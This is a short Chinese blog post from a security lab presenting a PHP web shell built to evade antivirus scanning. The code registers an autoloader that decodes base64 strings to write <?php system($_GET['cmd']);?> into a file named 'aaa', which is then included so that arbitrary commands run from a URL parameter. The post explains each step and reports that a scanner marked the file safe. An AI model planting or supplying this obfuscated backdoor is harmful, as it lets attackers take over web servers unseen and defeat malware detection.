网安引领时代,弥天点亮未来
spl_autoload_register(function ($class_name){
file_put_contents(base64_decode("YWFh"), base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='));
});
include('aaa');
new aaa();
2.spl_autoload_register的作用,将函数注册到spl_autoload_register(可以是匿名函数),当实例化一个不存在的类的时候,会去调用该函数.
3.先调用include('aaa'),会报错,因为没有这个文件,之后进行实例化 new aaa(),又会报错,因为没有aaa这个类,会去执行spl_autoload_register注册的函数里面的代码
file_put_contents(base64_decode("YWFh"), base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='));
4.其中YWFh解码之后是aaa,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=解码之后是<?php system($_GET['cmd']);?>,相当于在web根目录下面创建aaa文件写入内容是<?php system($_GET['cmd']);?>
5.第二次再刷新页面,就可以成功执行了include('aaa');,因为第一次访问已经创建aaa文件并且写入内容了.
6.测试结果,第二次访问成功执行命令,后面Fatal error: Class 'aaa' not found的报错无视即可.
7.官网扫描结果,该文件扫描结果显示的是安全
8.欢迎加入弥天安全实验室交流群.
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
弥 天
安全实验室
本文始发于微信公众号(thelostworld):免杀webshell case之一
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论